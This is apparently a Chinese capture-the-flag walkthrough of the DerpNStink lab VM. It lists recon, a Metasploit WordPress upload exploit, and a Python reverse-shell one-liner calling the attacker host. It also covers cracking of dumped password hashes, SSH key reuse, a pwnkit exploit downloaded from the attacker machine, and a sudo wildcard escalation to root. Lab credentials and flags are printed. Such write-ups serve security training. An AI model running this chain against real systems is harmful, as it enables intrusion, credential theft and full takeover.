信息收集
访问80端口
搜索页面代码发现一个flag
<--flag1(52E37291AEDF6A46D7D0BB8A6312F4F9F1AA4975C248C3F0E008CBA09D6E9166) -->
可以直接使用curl 192.168.19.175即可发现flag
访问站点http://192.168.19.175/webnotes/info.txt
发现一段话
<-- @stinky, make sure to update your hosts file with local dns so the new derpnstink blog can be reached before it goes live -->
<-- @stinky，确保使用本地 dns 更新您的主机文件，以便可以在新的 derpnstink 博客上线之前访问它 -->
将站点绑定一下，保存在hosts文件中
dirb扫描一下，发现http://derpnstink.local/weblog/wp-admin/站点
使用弱口令尝试登录
wpscan --url http://derpnstink.local/weblog/
提示收费，但是有25天免费的注册
想注册可以注册
wpscan --url http://derpnstink.local/weblog/
需要官网注册获取新令牌：
https://wpscan.com/register
注册成功后选择免费的就行，会生成一个密匙复制进来！
wpscan --url http://derpnstink.local/weblog/ --api-token 密匙
扫描发现6个可利用漏洞
Title: Slideshow Gallery < 1.4.7 - Arbitrary File Upload
Title: Tribulant Slideshow Gallery <= 1.5.3 - Arbitrary file upload & Cross-Site Scripting (XSS)
msfconsole
search Slideshow Gallery
use exploit/unix/webapp/wp_slideshowgallery_upload
set rhosts 192.168.19.175
set targeturi /weblog
set wp_user admin
set wp_password admin
exploit
shell
①在msf中建立一个交互式shell
python -c 'import pty;pty.spawn("/bin/bash")'
②在kali控制台创建一个shell
nc -vlp 6677
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.19.147",6677));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
kali终端已经拿到shell
python -c 'import pty;pty.spawn("/bin/bash")'
ctrl+z
stty raw -echo
fg（输入时不显示，按回车即可进入shell）
cd ../../.. ---来到/var/www/html/weblog目录枚举信息！
查看wp-config.php文件中password的上下10行内容
grep -10 "password" -rn wp-config.php
mysql -uroot -pmysql
use wordpress
show tables;
select user_login,user_pass from wp_users;
将密码放入一个txt文件中使用john破解尝试
要是爆破过的话，文件存放在~/.john中
历史记录
通过ssh登录发现登录不上去，尝试来到后台登录
直接就能看见flag2
flag2(a7d355b26bda6bf1196ccffead0b2cf2b81f0a9de5b4876b44407f1dc07e51e6)
在shell中来到home目录下，查看用户
通过ftp连接到stinky账户，密码还是爆破出来的wedgie57
①可以通过ftp服务器连接
②通过网页连接
Index of ftp://192.168.19.175/files/ssh/ssh/ssh/ssh/ssh/ssh/ssh/
发现key（因为通过ssh连接时提示没有公钥，所以此密钥应该是公钥）
chmod 400 key.txt更改文件权限
直接ssh连接时提示 权限被拒绝（公钥）。
获取key.txt后连接，提示sign_and_send_pubkey: no mutual signature supported
签收并发送公钥：不支持相互签名
处理此问题，在~/.ssh目录下新建一个config文件，并将PubkeyAcceptedKeyTypes +ssh-rsa写入其中，再次连接，即可
ssh -i key.txt stinky@192.168.19.175
find / -name "flag*" 2>/dev/null
cat flag.txt
获取flag4
提权①cve-2021-4034
访问https://github.com/arthepsy/CVE-2021-4034/blob/main/cve-2021-4034-poc.c
将代码拷贝下来
存放在一个.c文件中
开启一个python服务
python -m SimpleHTTPSever 8081
wget http://192.168.19.147:8081/derpnstink.c
gcc derpnstink.c -o derpnstink
chmod +x derpnstink
./derpnstink
提权②
来到/home/stinky/Documents目录发现pcap包，下载到本地
传输过来之后用wireshark打开
wireshark derpissues.pcap
追踪TCP流发现
账号：mrderp
密码：derpderpderpderpderpderpderp
su -l
发现可以在(ALL) /home/mrderp/binaries/derpy*执行所有命令
在当前目录创建binaries目录
nano derpy.sh
将提权命令写入其中
#!/bin/bash
bash -i
然后将文件移动到binaries目录下
mv derpy.sh binaries/
sudo ./derpy.sh
